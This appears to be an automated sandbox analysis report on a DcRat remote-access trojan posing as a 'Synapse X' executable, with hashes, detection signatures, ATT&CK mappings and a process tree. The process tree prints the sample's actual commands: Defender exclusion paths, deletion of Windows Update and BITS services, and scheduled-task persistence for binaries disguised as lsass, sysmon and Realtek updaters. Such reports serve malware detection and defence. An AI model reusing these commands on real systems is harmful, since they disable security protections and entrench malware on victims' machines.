dcrat | e739c99d25d4b9ed3cf1c0ce093505adcdec5f97fd38df45310b1e0a850ea801

Analysis

max time kernel
101s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
07/01/2024, 19:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SynapseXexe.exe
Size 7.6MB
Sample240107-x9l5fsdec4
SHA256 e739c99d25d4b9ed3cf1c0ce093505adcdec5f97fd38df45310b1e0a850ea801
MD5 6356d5402bbfae18c6d66e56c7e86af8
SHA1 ecb6439b4d2b681e4c20e7d6320755a338ebffe7
SHA512 f84276f3eaa36906822b7b276984c87779d571192b9d66dad6663cd5ca9dfee4548eb0dd703fb6f61cfe727f0e17ccee657e172a22a202675e53766b4da62328
SSDEEP 196608:Ut0zaKDjcpC1qZcGpboCj5X1HmEVPZ8dPJFZp:Ut0zaK/L1qyGloCNlN9Z8d/Zp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

dcrat evasion infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4708	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4252	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1016	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	484	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4220	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2972	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1452	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3408	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1096	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1708	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3420	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4352	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2156	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1656	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2360	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	1288	schtasks.exe	97
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	1288	schtasks.exe	97

DCRat payload 7 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x0007000000023203-7.dat	dcrat
behavioral2/files/0x0007000000023203-25.dat	dcrat
behavioral2/files/0x0006000000023210-51.dat	dcrat
behavioral2/memory/4640-52-0x0000000000F70000-0x00000000010BC000-memory.dmp	dcrat
behavioral2/files/0x000600000002321a-78.dat	dcrat
behavioral2/files/0x0006000000023223-137.dat	dcrat
behavioral2/files/0x0006000000023223-136.dat	dcrat

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	SynapseXexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	Client.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	Synapse X.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation	browserCommon.exe

Executes dropped EXE 5 IoCs

pid	Process
2284	Client.exe
2000	Synapse X.exe
3792	conhost_syn.exe
4640	browserCommon.exe
3244	WaaSMedicAgent.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2000	Synapse X.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe	browserCommon.exe
File created	C:\Program Files (x86)\Google\Temp\c82b8037eab33d	browserCommon.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe	browserCommon.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\7b3bf1de107bcf	browserCommon.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\addins\conhost_syn.exe	browserCommon.exe
File created	C:\Windows\addins\59236af5fcecb3	browserCommon.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1528	sc.exe
3744	sc.exe
4644	sc.exe
4500	sc.exe
4664	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1016	schtasks.exe
484	schtasks.exe
1708	schtasks.exe
3420	schtasks.exe
4352	schtasks.exe
2300	schtasks.exe
2360	schtasks.exe
4220	schtasks.exe
2972	schtasks.exe
4708	schtasks.exe
4252	schtasks.exe
1096	schtasks.exe
1656	schtasks.exe
2108	schtasks.exe
2012	schtasks.exe
1452	schtasks.exe
3408	schtasks.exe
2156	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings	Client.exe
Key created	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings	browserCommon.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4640	browserCommon.exe
1512	powershell.exe
1512	powershell.exe
1512	powershell.exe
4640	browserCommon.exe
4640	browserCommon.exe
4640	browserCommon.exe
4640	browserCommon.exe
4640	browserCommon.exe
3068	powershell.exe
3068	powershell.exe
3068	powershell.exe
1384	powershell.exe
1384	powershell.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe
3244	WaaSMedicAgent.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	browserCommon.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeShutdownPrivilege	1768	powercfg.exe
Token: SeCreatePagefilePrivilege	1768	powercfg.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	4332	powercfg.exe
Token: SeCreatePagefilePrivilege	4332	powercfg.exe
Token: SeShutdownPrivilege	2820	powercfg.exe
Token: SeCreatePagefilePrivilege	2820	powercfg.exe
Token: SeShutdownPrivilege	2516	powercfg.exe
Token: SeCreatePagefilePrivilege	2516	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe
Token: SeManageVolumePrivilege	3068	powershell.exe
Token: 33	3068	powershell.exe
Token: 34	3068	powershell.exe
Token: 35	3068	powershell.exe
Token: 36	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe
Token: SeShutdownPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeSystemEnvironmentPrivilege	3068	powershell.exe
Token: SeRemoteShutdownPrivilege	3068	powershell.exe
Token: SeUndockPrivilege	3068	powershell.exe
Token: SeManageVolumePrivilege	3068	powershell.exe
Token: 33	3068	powershell.exe
Token: 34	3068	powershell.exe
Token: 35	3068	powershell.exe
Token: 36	3068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3068	powershell.exe
Token: SeSecurityPrivilege	3068	powershell.exe
Token: SeTakeOwnershipPrivilege	3068	powershell.exe
Token: SeLoadDriverPrivilege	3068	powershell.exe
Token: SeSystemProfilePrivilege	3068	powershell.exe
Token: SeSystemtimePrivilege	3068	powershell.exe
Token: SeProfSingleProcessPrivilege	3068	powershell.exe
Token: SeIncBasePriorityPrivilege	3068	powershell.exe
Token: SeCreatePagefilePrivilege	3068	powershell.exe
Token: SeBackupPrivilege	3068	powershell.exe
Token: SeRestorePrivilege	3068	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2000	Synapse X.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 4712 wrote to memory of 2284	4712	SynapseXexe.exe	89
PID 4712 wrote to memory of 2284	4712	SynapseXexe.exe	89
PID 4712 wrote to memory of 2284	4712	SynapseXexe.exe	89
PID 4712 wrote to memory of 2000	4712	SynapseXexe.exe	91
PID 4712 wrote to memory of 2000	4712	SynapseXexe.exe	91
PID 4712 wrote to memory of 2000	4712	SynapseXexe.exe	91
PID 2284 wrote to memory of 1840	2284	Client.exe	92
PID 2284 wrote to memory of 1840	2284	Client.exe	92
PID 2284 wrote to memory of 1840	2284	Client.exe	92
PID 2000 wrote to memory of 3792	2000	Synapse X.exe	93
PID 2000 wrote to memory of 3792	2000	Synapse X.exe	93
PID 1840 wrote to memory of 2172	1840	WScript.exe	96
PID 1840 wrote to memory of 2172	1840	WScript.exe	96
PID 1840 wrote to memory of 2172	1840	WScript.exe	96
PID 2172 wrote to memory of 4640	2172	cmd.exe	98
PID 2172 wrote to memory of 4640	2172	cmd.exe	98
PID 3792 wrote to memory of 1512	3792	conhost_syn.exe	101
PID 3792 wrote to memory of 1512	3792	conhost_syn.exe	101
PID 3792 wrote to memory of 3800	3792	conhost_syn.exe	145
PID 3792 wrote to memory of 3800	3792	conhost_syn.exe	145
PID 3792 wrote to memory of 4040	3792	conhost_syn.exe	117
PID 3792 wrote to memory of 4040	3792	conhost_syn.exe	117
PID 3792 wrote to memory of 3068	3792	conhost_syn.exe	144
PID 3792 wrote to memory of 3068	3792	conhost_syn.exe	144
PID 4040 wrote to memory of 1768	4040	cmd.exe	120
PID 4040 wrote to memory of 1768	4040	cmd.exe	120
PID 3800 wrote to memory of 4664	3800	cmd.exe	140
PID 3800 wrote to memory of 4664	3800	cmd.exe	140
PID 4040 wrote to memory of 4332	4040	cmd.exe	139
PID 4040 wrote to memory of 4332	4040	cmd.exe	139
PID 4640 wrote to memory of 3756	4640	browserCommon.exe	138
PID 4640 wrote to memory of 3756	4640	browserCommon.exe	138
PID 4040 wrote to memory of 2820	4040	cmd.exe	122
PID 4040 wrote to memory of 2820	4040	cmd.exe	122
PID 3800 wrote to memory of 1528	3800	cmd.exe	123
PID 3800 wrote to memory of 1528	3800	cmd.exe	123
PID 4040 wrote to memory of 2516	4040	cmd.exe	136
PID 4040 wrote to memory of 2516	4040	cmd.exe	136
PID 3756 wrote to memory of 1144	3756	cmd.exe	135
PID 3756 wrote to memory of 1144	3756	cmd.exe	135
PID 3800 wrote to memory of 3744	3800	cmd.exe	124
PID 3800 wrote to memory of 3744	3800	cmd.exe	124
PID 3800 wrote to memory of 4644	3800	cmd.exe	151
PID 3800 wrote to memory of 4644	3800	cmd.exe	151
PID 3800 wrote to memory of 4500	3800	cmd.exe	131
PID 3800 wrote to memory of 4500	3800	cmd.exe	131
PID 3800 wrote to memory of 4088	3800	cmd.exe	126
PID 3800 wrote to memory of 4088	3800	cmd.exe	126
PID 3800 wrote to memory of 1516	3800	cmd.exe	130
PID 3800 wrote to memory of 1516	3800	cmd.exe	130
PID 3800 wrote to memory of 2896	3800	cmd.exe	129
PID 3800 wrote to memory of 2896	3800	cmd.exe	129
PID 3800 wrote to memory of 1776	3800	cmd.exe	127
PID 3800 wrote to memory of 1776	3800	cmd.exe	127
PID 3800 wrote to memory of 4708	3800	cmd.exe	128
PID 3800 wrote to memory of 4708	3800	cmd.exe	128
PID 3792 wrote to memory of 1384	3792	conhost_syn.exe	134
PID 3792 wrote to memory of 1384	3792	conhost_syn.exe	134
PID 1384 wrote to memory of 3840	1384	powershell.exe	133
PID 1384 wrote to memory of 3840	1384	powershell.exe	133
PID 3756 wrote to memory of 3244	3756	cmd.exe	149
PID 3756 wrote to memory of 3244	3756	cmd.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\SynapseXexe.exe
"C:\Users\Admin\AppData\Local\Temp\SynapseXexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Users\Admin\AppData\Local\Temp\Client.exe
  "C:\Users\Admin\AppData\Local\Temp\Client.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\msserverbrowser\HnyaohP9M4fFcL.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\msserverbrowser\76ROYidD3raXzrN.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2172
    - - C:\msserverbrowser\browserCommon.exe
        
        "C:\msserverbrowser\browserCommon.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4640
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\86OXMb1gSt.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3756
        
        C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe
        
        "C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3244
- C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
  "C:\Users\Admin\AppData\Local\Temp\Synapse X.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Users\Admin\AppData\Roaming\conhost_syn.exe
    "C:\Users\Admin\AppData\Roaming\conhost_syn.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1512
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4040
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1768
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2820
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2516
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ykfisbv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Realtek High Definition Audio" } Else { "C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe" }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#jpkho#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'Realtek High Definition Audio' /tr '''C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Realtek High Definition Audio' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Realtek High Definition Audio" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Realtek\Realtek High Definition Audio\Updater.exe' }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3068
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 8 /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 10 /tr "'C:\Users\Public\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost_syn" /sc ONLOGON /tr "'C:\Windows\addins\conhost_syn.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost_sync" /sc MINUTE /mo 9 /tr "'C:\Windows\addins\conhost_syn.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1452

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost_sync" /sc MINUTE /mo 8 /tr "'C:\Windows\addins\conhost_syn.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\odt\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\odt\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\odt\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1656

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:1528

C:\Windows\system32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:3744

C:\Windows\system32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:4644

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
1⤵
PID:4088

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
1⤵
PID:1776

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
PID:4708

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
1⤵
- Modifies security service
PID:2896

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
1⤵
PID:1516

C:\Windows\system32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:4500

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn Realtek High Definition Audio
1⤵
PID:3840

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
1⤵
PID:1144

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:4664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SIHClient" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\SIHClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2012

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
1⤵
PID:4644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

WaaSMedicAgent.exe

Path C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe
Size 64KB
SHA256 8628a58de9a9c79d09c4573ca3fb5f73d570f8e8a50f43f1a61d65b70787bca4
MD5 786740d344bf938766dd43caf23330c3
SHA1 f3b08edd7d6ca0cb6ff15186d4c636bc01fbf65b
SHA512 b982c105882f2e51a34ca06062e4fcc347637fe12f0419c6c61c2f8670c4845fb0a342c5cbe2c38f29eb559cb7de90093586d3d13ea4be1357022fdbf82aed0b
SSDEEP 768:N0TOxAH00giDmppfcHIN/EShNmMtd0EdFCsRJ7SK03AmFY+ui7leoxdH9RJ9N20I:13fQINEg30URB10rl7UuSF+I2w
MD5 SHA1 SHA512 SSDEEP

Submit Download

WaaSMedicAgent.exe

Path C:\Program Files (x86)\Google\Temp\WaaSMedicAgent.exe
Size 59KB
SHA256 af3cd33fbe34ef7e7dbec05333349b5d452351233c6aec60e6d4c0d2b1b44bbf
MD5 d5d36d6a5a7d4f824a6a66d1137d5de6
SHA1 47edd866dbbb6ef03484e2680627bb66b30381fe
SHA512 57798e0f5930cdce0e5985e5935a42a2391f06f86a12421569104e879f8b87b57e75128a55be8d514be4c3ad0ac1f566eb02ee759fdb09afc0917f744210d2c0
SSDEEP 768:N0TOxAH00giDmppfcHIN/EShNmMtd0EdFCsRJ7SK03AmFY+ui7leoxdH9RJ9N20B:13fQINEg30URB10rl7UuSF0
MD5 SHA1 SHA512 SSDEEP

Submit Download

sysmon.exe

Path C:\Recovery\WindowsRE\sysmon.exe
Size 98KB
SHA256 d596e155657d69f1b545bab5b92c48a96c78b6968a58950546a16135da622005
MD5 c91345a7b240e49d2f43e77f2efe8936
SHA1 c49d9f636bcb992046c179c36126337ffa386a5d
SHA512 eade8785f2b74008c08d69789bb242425e9185ce6dca76daaeab9e1487f8c90b18c10ca848d0ea6ccc0c3109f40ff6c420a503ae8baaf3906775aec682b6e584
